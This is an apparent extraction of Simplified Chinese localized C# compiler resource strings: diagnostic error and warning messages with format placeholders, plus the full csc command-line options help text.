语句中安全返回 + 类 System.Object 不能有基类也不能实现接口 + 使用未赋值的局部变量 + 静态匿名函数不能包含对 "this" 或 "base" 的引用。 + “{0}”: 当重写“{1}”继承成员“{2}”时,无法更改访问修饰符 + 索引器不能有 void 类型 + 可访问性不一致: 参数类型“{1}”的可访问性低于运算符“{0}” + “{0}”必须与重写成员“{1}”的“仅 init”匹配 + 常量字段要求提供一个值 + “CS{0}”警告已被全局禁用,无法还原 + 引入 "Finalize" 方法会妨碍析构函数调用。是否希望声明析构函数? + 将按引用返回“{0}”的成员,但它已初始化为无法按引用返回的值 + 返回类型的为 Null 性与重写成员不匹配(可能是由于为 Null 性特性)。 + 类型和别名不应命名为 "record"。 + “{0}”的主体不能是迭代器块,因为“{0}”通过引用返回 + [] 内的索引数错误,应为 {0} + 指定了延迟签名,这需要公钥,但是未指定任何公钥 + 不应返回标记为 [DoesNotReturn] 的方法。 + 表达式项“{0}”无效 + “{0}”访问器的可访问性修饰符必须比属性或索引器“{1}”具有更强的限制 + CallerFilePathAttribute 只能应用于具有默认值的参数 + “{0}”选项缺少文件规范 + 分部方法声明必须具有匹配的引用返回值。 + 应是引用的文件名 + 类型“{0}”中有重复的用户定义转换 + 应输入类型 byte、sbyte、short、ushort、int、uint、long 或 ulong + 在显式分配自动实现的属性'{0}'之前,将向调用方返回控件,从而导致前面隐式分配了“default”。 + 意外使用了通用名称 + '由于程序集没有 CLSCompliant 特性,因此“{0}”不需要 CLSCompliant 特性 + 接口“{1}”的托管组件类包装器类签名“{0}”不是有效的类名签名 + 类型“{1}”同时存在于“{0}”和“{2}”中 + 类型“{0}”不能在此上下文中使用,因为它不能在元数据中表示。 + “{1}”中的形参“{0}”可能传入 null 引用实参。 + 类型与导入类型冲突 + 应为 '{0}' 类型的常量值 + 无法从非泛型类型创建构造泛型类型。 + 在内插字符串中,仅可通过加倍“{0}{0}”对“{0}”字符进行转义。 + XML 包含元素无效 + 可能返回 null 引用。 + 创建的类具有签名为 public virtual void Finalize 的方法时,会出现此警告。 + +如果将这样一个类用作基类,并且如果派生类定义一个析构函数,则该析构函数会重写基类 Finalize 方法,而不是 Finalize。 + “无效的秩说明符: 应为“]” + stackalloc 初始值设定项 + 请不要使用 "System.Runtime.CompilerServices.FixedBuffer" 特性。请改用 "fixed" 字段修饰符。 + 在此上下文中使用 null 无效 + 这将通过 ref 参数按引用返回参数的成员;但它只能在 return 语句中安全返回 + 记录成员“{0}”必须是非公开的。 + 全局 using 指令 + 命名空间别名限定符 "::" 始终解析为类型或命名空间,因此在这里是非法的。请考虑改用 "."。 + 在接口中声明的转换、等式或不等式运算符必须是抽象或虚拟的 + 由于类型参数“{0}”既没有类类型约束也没有“class”约束,因此不能与“as”运算符一起使用 + 必须在具有唯一路径的文件中声明文件本地类型“{0}”。路径“{1}”已用于多个文件。 + 关键字“base”在静态方法中不可用 + 此命名空间中未启用“拦截器”实验性功能。请将“{0}”添加到项目。 + 成员“{0}”无法初始化。它不是字段或属性。 + 在“{0}”和“{1}”之间具有二义性 + 已声明本地函数,但从未使用过 + 命令行语法错误: 选项“{1}”缺少 Guid + 无法在使用 "UnmanagedCallersOnly" 特性化的方法上将“{0}”用作 {1} 类型。 + 引用程序集“{0}”面向的是另一个处理器。 + 无法将 {0} 赋予隐式类型化的变量 + 写入输出文件时出错: {0}。 + “{0}”: 静态构造函数不能具有显式的“this”或“base”构造函数调用 + LIB 环境变量 + 模块初始值设定项方法“{0}”必须可在模块级别被访问 + “{0}”无法实现“{1}”,因为“{2}”是 Windows 运行时事件,“{3}”是常规 .NET 事件。 + “{0}”已过时 + “{0}”的类型为“{1}”。在常量声明中指定的类型必须为 sbyte、byte、short、ushort、int、uint、long、ulong、char、float、double、decimal、bool、string、枚举类型或引用类型。 + 指定版本字符串不符合建议格式 - major.minor.build.revision + 接口中的用户定义转换必须转换为或转换自封闭类型约束为封闭类型的类型参数 + 参数“{0}”在“{1}”的 XML 注释中没有匹配的 param 标记(但其他参数有) + 索引属性“{0}”具有必须提供的非可选参数 + 对于用作类型“{1}”的 AsyncMethodBuilder 的类型“{0}”,它的任务属性应返回类型“{1}”,而不是类型“{2}”。 + “{0}”: 字段不能既是可变的又是只读的 + 只有记录可以从记录继承。 + 未终止的字符串字面量。 + Lambda 表达式上的属性需要拥有带圆括号的参数列表。 + 静态类型不能用作参数 + 应输入 #endregion 指令 + <missing> + 内插原始字符串字面量的开头没有足够的 \"$\" 字符以允许将这么多连续的左大括号作为内容。 + 类型中引用类型的为 Null 性与隐式实现的成员不匹配。 + 参数名“{0}”与某个自动生成的参数名冲突 + 类型参数不允许在方法组中作为 "nameof" 的参数使用。 + 可访问性不一致: 参数类型“{1}”的可访问性低于委托“{0}” + 使用别名不能是 “ref” 类型。 + 上一个 catch 子句已捕获所有异常。引发的所有非异常均被包装在 System.Runtime.CompilerServices.RuntimeWrappedException 中。 + 未能插入某些或全部所包含的 XML + 无法等待“{0}” + "default" 约束仅针对替代和显式接口实现方法有效。 + 参数 + 应输入常量值 + 生成器“{0}”未能生成源。它不会影响输出,因此可能会造成编译错误。异常的类型为“{1}”,显示消息“{2}”. +{3} + 类型参数“{0}”与外部类型“{1}”中的类型参数同名 + 无法将 Double 类型隐式转换为“{1}”类型;请使用“{0}”后缀创建此类型 + There is no target type for the collection expression. + 在“not”或“or”模式中不能声明变量。 + + Visual C# 编译器选项 + + - 输出文件 - +-out:<file> 指定输出文件名称(默认: 具有主类的文件或 + 第一个文件的基础名称) +-target:exe 生成控制台可执行文件(默认) (缩 + 写: -t:exe) +-target:winexe 生成 Windows 可执行文件(缩写: + -t:winexe) +-target:library 生成库(缩写: -t:library) +-target:module 生成可添加到其他程序集的模块 + (缩写: -t:module) +-target:appcontainerexe 生成 Appcontainer 可执行文件(缩写: + -t:appcontainerexe) +-target:winmdobj 生成 WinMDExp 使用的 Windows 运行时 + 中间文件(缩写: -t:winmdobj) +-doc:<file> 要生成的 XML 文档文件 +-refout:<file> 引用要生成的程序集输出 +-platform:<string> 限制此代码可以在哪些平台上运行: x86、 + Itanium、x64、arm、arm64、anycpu32bitpreferred 或 + anycpu。默认平台为 anycpu。 + + - 输入文件 - +-recurse:<wildcard> 根据通配符规范,包括 + 当前目录和子目录中的 + 所有文件 +-reference:<alias>=<file> 使用给定别名从指定的程序集文件中 + 引用元数据(缩写: -r) +-reference:<file list> 从指定的程序集文件中引用 + 元数据(缩写: -r) +-addmodule:<file list> 将指定模块链接到此程序集 +-link:<file list> 从指定的互操作程序集文件嵌入 + 元数据(缩写: -l) +-analyzer:<file list> 从此程序集运行分析器 + (缩写: -a) +-additionalfile:<file list> 不直接影响代码生成,但可能 + 由分析器用于生成错误或警告的 + 其他文件。 +-embed 将所有源文件嵌入 PDB。 +-embed:<file list> 在 PDB 中嵌入特定文件。 + + - 资源 - +-win32res:<file> 指定 Win32 资源文件(.res) +-win32icon:<file> 对输出使用此图标 +-win32manifest:<file> 指定 Win32 清单文件(.xml) +-nowin32manifest 不包括默认的 Win32 清单 +-resource:<resinfo> 已嵌入指定资源(缩写: -res) +-linkresource:<resinfo> 将指定资源链接到此程序集 + (缩写: -linkres) 其中 resinfo 格式 + 为 <file>[,<string name>[,public|private]] + + - 代码生成 - +-debug[+|-] 发出调试信息 +-debug:{full|pdbonly|portable|embedded} + 指定调试类型(默认类型为“完整”, + “可移植”是一种跨平台格式, + “已签入”是嵌入到目标 .dll 或 .exe 的 + 一种跨平台格式。) +-optimize[+|-] 启用优化(缩写: -o) +-deterministic 生成确定性程序集 + (包括模块版本 GUID 和时间戳) +-refonly 生成引用程序集来代替主输出 +-instrument:TestCoverage 生成检测到用于收集覆盖范围信息的 + 程序集 +-sourcelink:<file> 要嵌入 PDB 的源链接信息。 + + - 错误和警告 - +-warnaserror[+|-] 将所有警告报告为错误。 +-warnaserror[+|-]:<warn list> 将特定警告报告为错误。 + (对所有为 Null 性警告使用“可为空”) +-warn:<n> 设置警告级别(0 或更高级别) (缩写: -w) +-nowarn:<warn list> 禁用特定的警告消息 + (对所有为 Null 性警告使用“可为空”) +-ruleset:<file> 指定禁用特定诊断的规则集 + 文件。 +-errorlog:<file>[,version=<sarif_version>] + 指定用于记录所有编译器和分析器诊断的 + 文件。 + sarif_version:{1|2|2.1} 默认值为 1. 2 和 2.1 + 均表示 SARIF 版本 2.1.0。 +-reportanalyzer 报告其他分析器信息,例如 + 执行时间。 +-skipanalyzers[+|-] 跳过诊断分析器的执行。 + + - 语言 - +-checked[+|-] 生成溢出检查 +-unsafe[+|-] 允许“不安全”代码 +-define:<symbol list> 定义条件编译符号(缩 + 写: -d) +-langversion:? 显示语言版本的允许值 +-langversion:<string> 指定语言版本,例如 + `latest` (最新版本,包括次要版本)、 + `default` (与 `latest` 相同)、 + `latestmajor` (最新版本,不包含次要版本)、 + `preview` (最新版本,包含不受支持的预览版中的功能), + 或者特定版本,例如 `6` 或 `7.1` +-nullable[+|-] 指定可为空的上下文选项: 启用|禁用。 +-nullable:{enable|disable|warnings|annotations} + 指定可为空的上下文选项: 启用|禁用|警告|注释。 + + - 安全性 - +-delaysign[+|-] 仅使用强名称密钥的公共部分 + 对程序集进行延迟签名 +-publicsign[+|-] 仅使用强名称密钥的公共部分 + 对程序集进行公共签名 +-keyfile:<file> 指定强名称密钥文件 +-keycontainer:<string> 指定强名称密钥容器 +-highentropyva[+|-] 启用高熵 ASLR + + - 其他 - +@<file> 读取响应文件以获取更多选项 +-help 显示此用法信息(缩写: -?) +-nologo 取消显示编译器版权消息 +-noconfig 不自动包含 CSC.RSP 文件 +-parallel[+|-] 并发生成。 +-version 显示编译器版本号并退出。 + + - 高级 - +-baseaddress:<address> 要生成的库的基址 +-checksumalgorithm:<alg> 指定用于计算存储在 PDB 中的源文件 + 校验和的算法。支持的值为: + SHA1 或 SHA256 (默认值)。 +-codepage:<n> 指定在打开源文件时使用的 + 代码页 +-utf8output 按 UTF-8 编码输出编译器消息 +-main:<type> 指定包含入口点的类型 + (忽略所有其他可能的入口点) (缩 + 写: -m) +-fullpaths 编译器生成完全限定的路径 +-filealign:<n> 指定用于输出文件部分的 + 对齐方式 +-pathmap:<K1>=<V1>,<K2>=<V2>,... + 通过编译器指定源路径名称输出的 + 映射。 +-pdb:<file> 指定调试信息文件名(默认值: + 扩展名为 .pdb 的输出文件名) +-errorendlocation 输出每个错误的结束位置的 + 行和列 +-preferreduilang 指定首选输出语言名称。 +-nosdkpath 禁止搜索标准库程序集的默认 SDK 路径。 +-nostdlib[+|-] 不引用标准库(mscorlib.dll) +-subsystemversion:<string> 指定此程序集的子系统版本 +-lib:<file list> 指定要在其中搜索引用的 + 其他目录 +-errorreport:<string> 指定如何处理内部编译器错误: + “提示”、“发送”、“排队”或“无”。默认设置为 + “排队”。 +-appconfig:<file> 指定包含程序集绑定设置的 + 应用程序配置文件 +-moduleassemblyname:<string> 此模块将成为其一部分的程序集的 + 名称 +-modulename:<string> 指定源模块的名称 +-generatedfilesout:<dir> 将编译期间生成的文件放在 + 指定的目录。 +-reportivts[+|-] 输出所有依赖项授予此程序集的 + 所有 IVT 的相关信息,并在外部程序集可访问性错误中 + 注释它们来自哪个程序集。 + + 语法错误,应为值 + '因为“{0}”不是重写,所以无法将其密封 + #错误:“{0}” + 已声明范围变量“{0}” + 在 AssemblySignatureKeyAttribute 中指定的签名公钥无效。 + 由于目标类型“{1}”指定了其他名称或未指定名称,因此元组元素名称“{0}”被忽略。 + 尝试对从 MarshalByRefObject 派生的类的成员调用方法、属性或索引器,并且成员具有值类型时,会出现此警告。从 MarshalByRefObject 继承的对象通常旨在跨应用程序域进行引用封送。如果任何代码尝试跨应用程序域直接访问这样一个对象的值类型成员,则会出现运行时异常。要解决该警告,请先将成员复制到本地变量中,然后对该变量调用方法。 + 无法使用“{0}”截获调用,因为无法在“{1}”中访问它。 + 两个索引器的名称不同;在类型中的每个索引器上的 IndexerName 特性都必须使用相同的名称 + 参数的引用类型修饰符与目标中的对应参数不匹配。 + '“await”要求“{1}.GetAwaiter()”的返回类型“{0}”包含适当的 IsCompleted、OnCompleted 和 GetResult 成员,并实现 INotifyCompletion 或 ICriticalNotifyCompletion + “{0}”是“{1}”和“{2}”之间的不明确的引用 + 在带有参数列表的“struct”中声明的构造函数必须具有调用主构造函数或显式声明的构造函数的“this”初始化表达式。 + 选项重写源文件或添加的模块中给出的特性 + 类型和别名不能命名为 “required”。 + “{0}”: 仅当属性或索引器同时具有 get 访问器和 set 访问器时,才能对访问器使用 "readonly" + 涉及“{0}”和“{1}”的循环基类型依赖项 + 应为标识符或数字参数 + 无法将类型“{0}”隐式转换为“{1}” + 解引用可能出现空引用。 + 无法包括 XML 段落 + 这会按引用返回本地,但它不是 ref 本地 + “{0}”: 接口中的实例事件不能有初始值设定项 + 对于 "UnmanagedCallersOnly" 来说,“{0}”不是有效的调用约定类型。 + 构造函数“{0}”不能调用自身 + 单行无法用于内插字符串。 + 将按引用返回本地,但它已初始化为无法按引用返回的值 + 已在此范围定义了名为“{0}”的局部变量或函数 + 无法截获: 编译不包含路径为“{0}”的文件。你是否想要使用路径“{1}”? + 两个程序集的版本和/或版本号不同。为进行统一,必须在应用程序的 .config 文件中指定指令,并且必须提供程序集的正确强名称。 + 无法修改“{0}”的返回值,因为它不是变量 + “{0}”: 基类型“{1}”不符合 CLS + 必须为所需成员'{0}'分配一个值,它不能使用嵌套成员或集合初始值设定项。 + 顶级语句必须位于命名空间和类型声明之前。 + 分部方法声明“{0}”和“{1}”具有签名差异。 + 源文件不能同时包含文件范围内和普通命名空间的声明。 + 无法为“{0}”赋值,因为它是只读的 + 使用类型别名 + 参数 {0} 声明为类型“{1}{2}”,但它应为“{3}{4}” + 读取为 PermissionSet 特性的命名参数“{1}”指定的文件“{0}”时出错:“{2}” + 表达式树不能包含 switch 表达式。 + 已经为类型参数“{0}”指定了 constraint 子句。必须在单个 where 子句中指定类型参数的所有约束。 + 'static' 修饰符必须位于 'unsafe' 修饰符之前。 + 在匿名类型上 + 无法等待“void” + 局部变量“{0}”不是 ref 局部变量,无法通过引用返回 + 构造函数调用需要进行动态调度,但无法如此,因为它是构造函数初始值的一部分。请考虑强制转换动态参数。 + 无法推断出隐式类型化 out 变量“{0}”的类型。 + 无法嵌入来自程序集“{0}”的互操作类型,因为它缺少“{1}”特性。 + #line span 指令要求第一个圆括号之前、字符偏移量之前和文件名之前要有空格 + 对象初始值设定项 + 隐式类型化的变量不能有多个声明符 + 不能通过可写的引用返回 {0} '{1}',因为它是只读变量 + 命名空间不能直接包含字段、方法或语句之类的成员 + 成员修饰符“{0}”必须位于成员类型和名称之前 + switch 表达式不会处理属于其输入类型的所有可能值(它并非详尽无遗)。 + 正在使用侦听器“{1}”截获对“{0}”的调用,但签名不匹配。 + 应输入 } + 空的 switch 块 + 应为命名特性参数 + 无法将输入字符串转换为等效的 UTF-8 字节表示形式。 {0} + 参数具有多个不同的默认值。 + “{0}”类型的参数不适用于 DefaultParameterValue 特性 + 用户定义的转换必须是转换成封闭类型,或者从封闭类型转换 + 使用可能未赋值的字段 + “{1}”类型的结构成员“{0}”在结构布局中导致循环 + 约束类型不符合 CLS + 带括号模式 + 无法应用特性类“{0}”,因为它是抽象的 + 这将按引用返回本地“{0}”的成员,但它不是 ref 本地 + 给定的表达式始终与提供的常量匹配。 + “{0}”必须声明主体,因为它未标记为 abstract、extern 或 partial + 检测到无法访问的代码 + “{0}”无法在类型 "{2}" 中实现接口成员 "{1}", 因为功能 "{3}" 在 c # {4} 中不可用。请使用语言版本 "{5}" 或更高版本。 + 引用字段 '{0}' 在使用前应重新分配。 + 引用类型赋值可能为 null。 + 记录结构 + 此异步方法缺少 "await" 运算符,将以同步方式运行。请考虑使用 "await" 运算符等待非阻止的 API 调用,或者使用 "await Task.Run(...)" 在后台线程上执行占用大量 CPU 的工作。 + 上下文关键字 “var” 不能用作显式 lambda 返回类型 + init-only 资源库 + 范围变量“{0}”的名称不能与方法类型参数相同 + 类型“{0}”未定义构造函数 + 匿名方法 + 需要一个脚本 (.csx file) 文件,但并未指定 + 只有一个分部类型声明可以拥有参数列表 + 切片模式不能用于类型为“{0}”的值。 + 这会按引用返回一个参数,但它不是 ref 参数 + 可以为 null 的类型 + '{0}' 需要编译器功能 '{1}',此版本的 C# 编译器不支持此功能。 + 主构造函数与合成的复制构造函数冲突。 + /noconfig 选项是在响应文件中指定的,因此被忽略 + 可为 null 的引用类型 + “var (...)”形式的解构表达式不允许将“var”替换为某一特定类型。 + 为 #line 指令指定的行号缺少或无效 + 无法包括格式错误的 XML 文件“{0}” + 无法加载分析器程序集 {0}: {1} + 用户定义的运算符“{0}”必须声明为 static 和 public + 声明无效;请改用“{0} operator <dest-type> (...” + “{0}”: 静态类型不能用作返回类型 + '由于“{1}”没有 params 数组,因此“{0}”也不应当有 params 参数 + 将按引用返回本地“{0}”,但它已初始化为无法按引用返回的值 + 在显式分配字段之前,将向调用方返回控件,从而导致前面的隐式分配为 'default'。 + 无法创建临时文件 -- {0} + “{0}”的最佳重载没有名为“{1}”的参数 + 类型参数“{0}”与包含类型或方法同名 + 成员隐藏继承的成员;缺少关键字 new + 分部方法必须在分部类型内声明 + “{0}”中的类型“{1}”与“{2}”中的导入命令空间“{3}”冲突。请使用“{0}”中定义的类型。 + “{0}”中的命名空间“{1}”与“{2}”中的导入类型“{3}”冲突。请使用“{0}”中定义的命名空间。 + 集合初始值设定项的最佳重载 Add 方法“{0}”具有一些无效参数 + 类型“{0}”的表达式永远不会与提供的模式匹配。 + 列表模式不能用于 '{0}' 类型的值。找不到合适的 \"Length\" 或 \"Count\" 属性。 + 数组创建必须有数组大小或数组初始值设定项 + 元组相等 + 类型参数“{0}”在“{1}”的 XML 注释中没有匹配的 typeparam 标记(但其他类型参数有) + 无法截获:路径“{0}”未映射。应为已映射的路径“{1}”。 + in 参数不能具有 Out 特性。 + 条件表达式中的赋值总是常量;是否希望使用 "==" 而非 "="? + 读取 Win32 清单文件“{0}”时出错 --“{1}” + 表达式树可能不包含内插字符串处理程序转换。 + ref 条件运算符的分支引用具有不兼容声明范围的变量 + 来自模块“{1}”的特性“{0}”将忽略,以便支持源中出现的实例 + 无法将 {0} 赋给范围变量 + params 参数必须是参数列表中的最后一个参数 + 匹配元组类型“{0}”需要“{1}”子模式,但存在“{2}”子模式。 + 最近的封闭 catch 子句内嵌套的 finally 语句中不允许使用不带参数的 throw 语句 + 自动实现的的 "set" 访问器 "{0}" 不能标记为 "readonly"。 + 元组必须包含至少两个元素。 + 类型“{0}”不能用作类型参数 + “{0}”不包含“{1}”的公共实例或扩展定义,因此 foreach 语句不能作用于“{0}”类型的变量。是否希望使用 "await foreach" 而非 "foreach"? + 文件名“{0}”为空、包含无效字符、未使用绝对路径指定驱动器或太长 + 它会将 "{1}" ref-assign 给 "{0}",但 "{1}" 比 "{0}" 具有更广的值转义范围,允许通过转义范围比 "{1}" 更窄的值的 "{0}" 进行赋值。 + 参数类型中引用类型的为 Null 性与重写成员不匹配。 + 目标运行时不支持对接口的成员使用 "protected"、"protected internal" 或 "private protected" 辅助功能。 + 无法嵌入互操作类型“{0}”,因为它缺少必需的“{1}”特性。 + 转换为 "{0}" 的异步 lambda 表达式无法返回值 + 非托管泛型类型约束 + 对可为 null 的引用类型的批注只应在 "#nullable" 批注上下文中的代码中使用。自动生成的代码要求在源中使用显式 "#nullable" 指令。 + 语言名“{0}”无效。 + 在 for、using、fixed 或声明语句中不能使用多个类型 + 无法对范围变量“{0}”赋值 -- 它是只读的 + “{0}”不包含采用 {1} 个参数的构造函数 + 程序集区域性字符串可能不包含嵌入式 NUL 字符。 + 意外的参数列表。 + 模块初始值设定项必须是普通成员方法 + 固定字段不能是 ref 字段。 + 常数内插字符串 + “{0}”: 不能既指定约束类又指定 “unmanaged” 约束 + 不能在此上下文中使用变量 "{0}",因为它可能会在其声明范围以外公开所引用的变量 + 在模式中使用可以为 null 的类型“{0}?”是非法的;请改用基础类型“{0}”。 + 只能在类型参数上访问静态虚拟或抽象接口成员。 + 两种分部方法声明必须要么都使用 params 参数,要么都不使用 params 参数 + 在可实现的接口的成员中找不到显式接口声明中的 "{0}" + “{0}”中的类型“{1}”与“{2}”中的导入类型“{3}”冲突。请使用“{0}”中定义的类型。 + 不允许显示应用 “System.Runtime.CompilerServices.NullableAttribute”。 + 数组元素不能是“{0}”类型 + 修饰符不能放置在事件访问器声明上 + "{0}" 不实现接口成员 "{1}"。"{2}" 无法隐式实现无法访问的成员。 + 基类“{0}”必须在任何接口之前 + 语言版本 {0} 中的条件表达式无效,因为在“{1}”和“{2}”之间未找到通用类型。如需使用目标类型转换,请升级到语言版本 {3} 或更高版本。 + 指定了冲突的选项: Win32 资源文件;Win32 清单 + 迭代器不能具有指针类型参数 + 无法应用 CallerMemberNameAttribute,因为不存在从类型“{0}”到类型“{1}”的标准转换 + 参数“{0}”不是 ref 或 out 参数,无法通过引用返回其成员 + (与前一个错误相关的符号位置) + 已指定 stdin 参数 "-",但尚未从标准输入流重定向输入。 + 无法在 catch 子句体中生成值 + 返回类型中引用类型的为 Null 性与隐式实现的成员不匹配(可能是由于为 Null 性特性)。 + 这是一个异步方法,因此返回表达式的类型必须为“{0}”而不是“{1}” + 应为 { 或 ; + 关键字 "this" 在静态属性、静态方法或静态字段初始值设定项中无效 + 参数在 lambda 中具有参数修饰符,但在目标委托类型中没有参数修饰符。 + 接口成员 "{0}" 没有最具体的实现。"{1}" 和 "{2}" 都不是最具体的。 + 可选参数 + 指定的搜索路径无效 + 不能通过引用返回 "this"。 + 找不到与嵌入互操作类型“{0}”相匹配的互操作类型。是否缺少程序集引用? + 如果源中出现的程序集特性 AssemblyKeyFileAttribute 或 AssemblyKeyNameAttribute 与 /keyfile 或 /keycontainer 命令行选项或是“项目属性”中指定的密钥文件名或密钥容器冲突,则会出现此警告。 + 此警告指示特性(如 InternalsVisibleToAttribute)未正确指定。 + 指针 + 按引用变量的声明必须有初始值设定项 + '"MethodImplOptions.Synchronized" 不能应用于异步方法 + 无法通过引用 "{0}" 返回参数,因为它不是 ref 参数 + “{0}”不是有效的函数指针返回类型修饰符。有效的修饰符为 "ref" 和 "ref readonly"。 + 不能在语言版本 {1} 中使用 “ref” 关键字 (keyword)传递参数 {0}。若要将 “ref” 参数传递给 “in” 参数,请升级到 {2} 或更高版本的语言版本。 + 对象创建无效 + 退出时参数必须具有非 null 值,因为由 NotNullIfNotNull 引用的参数是非 null。 + 命名空间中定义的元素无法显式声明为 private、protected、protected internal 或 private protected + 二元运算符的参数之一必须是包含类型或被其约束的类型参数。 + 只有在生成 "module" 目标类型时才能指定 /moduleassemblyname 选项 + “{0}”的返回类型中引用类型的为 Null 性与目标委托“{1}”不匹配(可能是由于为 Null 性特性)。 + 类型参数“{0}”继承了彼此冲突的“{1}”和“{2}”约束 + 此程序集中已使用了资源标识符“{0}” + “{0}”的默认参数值必须是编译时常量 + 程序不包含适合于入口点的静态 "Main" 方法 + 无法按引用返回主构造函数参数“{0}”。 + 记录成员“{0}”可能不是静态的。 + 在两个程序集中找到预定义系统类型(如 System.Int32)时会发生此错误。可能发生这种情况的一种方式是从两个不同位置引用 mscorlib 或 System.Runtime.dll (如尝试并行运行两个版本的 .NET Framework)。 + “{0}”已初始化为不能通过引用返回的值,因此无法通过引用返回其成员 + '{0}' 无法隐藏所需的成员 '{1}'。 + 带有变量参数的方法不符合 CLS + 使用 Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal 来创建数字字面量标记。 + 两个分部方法声明必须都是静态声明,或者两者都不能是静态声明 + “{0}”不是 lock 语句要求的引用类型 + “{0}”不实现“{1}”模式。“{2}”不是公共实例或扩展方法。 + 异步 foreach 语句实现“{1}”的多个实例化,因此不能在“{0}”类型的变量上运行;请尝试强制转换到特定的接口实例化 + Ref 字段在使用前应重新分配。 + 静态只读字段无法通过可写的引用返回 + “{0}”不包含“{1}”的公共实例或扩展定义,因此异步 foreach 语句不能作用于“{0}”类型的变量。是否希望使用 "foreach" 而非 "await foreach"? + 无法将“隐式”自定义转换运算符声明为已验证 + 符合 CLS 的接口必须仅有符合 CLS 的成员 + 添加的模块必须用 CLSCompliant 特性标记才能与程序集匹配 + “{0}”: 参数、局部变量或本地函数不能与方法类型参数同名 + 返回类型不符合 CLS + 打开图标文件 {0} 时出错 -- {1} + “{0}”无法在类型“{2}”中实现接口成员“{1}”,因为它具有 __arglist 参数 + 加载的程序集引用了 .NET Framework,而此操作不受支持。 + “{0}”的这种参数组合可能会在变量声明范围之外公开由参数“{1}”引用的变量 + 无法推断隐式类型的析构变量“{0}”的类型。 + 不能在此特性中使用此成员。 + 重写和显式接口实现方法的约束是从基方法继承的,因此不能直接指定这些约束,除非指定 "class" 或 "struct" 约束。 + 为预处理器指令指定的文件名无效 + 类型为“{1}”的结构主构造函数参数“{0}”导致结构布局中出现循环 + “{0}”在程序集“{1}”中定义。 + 在内插字符串中,必需对“{0}”字符进行转义(通过加倍)。 + 将方法组“{0}”转换为非委托类型“{1}”。是否希望调用此方法? + 扩展方法 + 表达式不具有名称。 + 侦听器必须具有与“{1}”上的参数“{0}”匹配的 "this" 参数。 + 写入调试信息时出错 --“{0}” + 编译(C#): + 类型不符合 CLS + 无法转换为静态类型“{0}” + 类型没有只使用符合 CLS 类型的可访问的构造函数 + 将按引用返回成员,但它已初始化为无法按引用返回的值 + “{0}”是不符合 CLS 的类型“{1}”的成员,因此不能将其标记为符合 CLS + 筛选器表达式是常量 “false”,请考虑删除 catch 子句 + 匿名类型 + 常量“{0}”不能标记为 static + 属性或索引器“{0}”不能用在此上下文中,因为它缺少 get 访问器 + 在只读结构中的自动实现实例属性必须为只读。 + 应为泛用类任务返回类型,但在“AsyncMethodBuilder”属性中发现的类型“{0}”不合适。它必须是 arity one 的未绑定泛型类型,并且其包含类型(如果有)必须为非泛用。 + 接口中的实例属性不能具有初始值设定项。 + 指定的语言版本“{0}”不能含前导零 + 无法使用 "UnmanagedCallersOnly" 对模块初始值设定项进行特性化。 + 打开响应文件“{0}”时出错 + 与集合初始值设定项元素最匹配的重载 Add 方法已过时 + 参数类型中引用类型的为 Null 性与目标委托不匹配(可能是由于为 Null 性特性)。 + 记录的密封 ToString + 可访问性不一致: 返回类型“{1}”的可访问性低于运算符“{0}” + 未使用的外部别名。 + 对隐式类型化出变量“{0}”的引用不允许出现在同一个参数列表中。 + 类型“{0}”的声明上缺少 partial 修饰符;存在此类型的其他分部声明 + 无法将表达式转换为“{0}”,因为它不是可分配的变量 + “{0}”: 无法重写,因为“{1}”没有可重写的 set 访问器 + 模式缺失 + 在 /reference 选项中未指定外部别名“{0}” + “{0}”不是可识别的特性位置。此声明的有效特性位置为“{1}”。此块中的所有特性都将被忽略。 + __arglist 不可具有 void 类型的参数 + 参数 {0} 必须使用“{1}”关键字进行声明 + 接口“{0}”的源接口无效,该源接口是嵌入事件“{1}”所必需的。 + 无法使用集合初始值设定项元素的最佳重载方法匹配项“{0}”。集合初始值设定项 "Add" 方法不能具有 ref 或 out 参数。 + 类型仅用于评估,在将来的更新中可能会被更改或删除。 + '&' 运算符不应用于异步方法中的参数或局部变量。 + “{0}”: 没有找到适合的方法来重写 + <路径列表> + “{0}”是一个“{1}”,因此无法修改其成员 + “{0}”: 只有符合 CLS 的成员才能是抽象的 + 不需要的 using 指令 + 生成模块时,无法链接资源文件 + <全局命名空间> + 涉及“{0}”和“{1}”的循环约束依赖项 + “{0}”定义运算符 == 或运算符 !=,但不重写 Object.GetHashCode() + 支持的语言版本: + 名称 "_" 引用常量,而不引用放弃模式。请使用 "var _" 放弃该值,或使用 "@_" 来引用该名称的常量。 + 二元运算符的参数之一必须是包含类型 + “{0}”不实现“{1}” + 无法通过“{1}”类型的限定符访问受保护的成员“{0}”;限定符必须是“{2}”类型(或者从该类型派生) + 预处理器指令中不允许使用原始字符串字面量。 + 缺少编译器要求的成员“{0}.{1}” + 在此上下文中不允许有程序集和模块特性 + 应输入单行注释或行尾 + 成员不会隐藏继承的成员;不需要关键字 new + CollectionBuilderAttribute 生成器类型必须是非泛型类或结构。 + 没有显式构造函数的结构不能包含具有初始值设定项的成员。 + “{0}”: 静态类不能用作约束 + 异步方法的返回类型必须为 void、Task 或 Task<T>、类似任务的类型、IAsyncEnumerable<T> 或 IAsyncEnumerator<T> + XML 注释中有未能解析的 cref 特性“{0}” + 未能在命名空间“{1}”中找到类型名“{0}”。此类型已转发到程序集“{2}”。请考虑添加对该程序集的引用。 + 方法 "{0}" 为类型参数 "{1}" 指定了 "class" 约束,但重写的或显式实现的方法 "{3}" 的对应类型参数 "{2}" 不是引用类型。 + Foreach 不能操作“{0}”。是否要调用“{0}”? + 对可变字段的引用不被视为可变字段 + 访问引用封送类的字段上的成员可能导致运行时异常 + 字段不能有 void 类型 + 无法截获可能的方法名称“{0}”,因为未调用此方法。 + 基类型不符合 CLS + 无法修改只读类型的主构造函数参数“{0}”的成员(在该类型的 init-only 设定子或变量初始值设定项中除外) + 扩展方法必须在顶级静态类中定义;{0} 是嵌套类 + 语言不支持“{0}”的调用约定。 + 模块“{0}”已在此程序集中定义。每个模块必须具有唯一的文件名。 + 特性在此上下文中无效。 + 固定大小缓冲区 + 方法或访问器块后面的分号无效 + {0} '{1}' 的成员不能作为 ref 或 out 值使用,因为它是只读变量 + 用户定义的运算符 '{0}' 无法声明为已验证 + 嵌入来自程序集“{1}”的互操作类型“{0}”会导致当前程序集中发生名称冲突。请考虑将“嵌入互操作类型”属性设置为 false。 + 带有变量参数的方法不符合 CLS + “{0}”: 仅当属性或索引器同时具有 get 访问器和 set 访问器时,才能对访问器使用可访问性修饰符 + 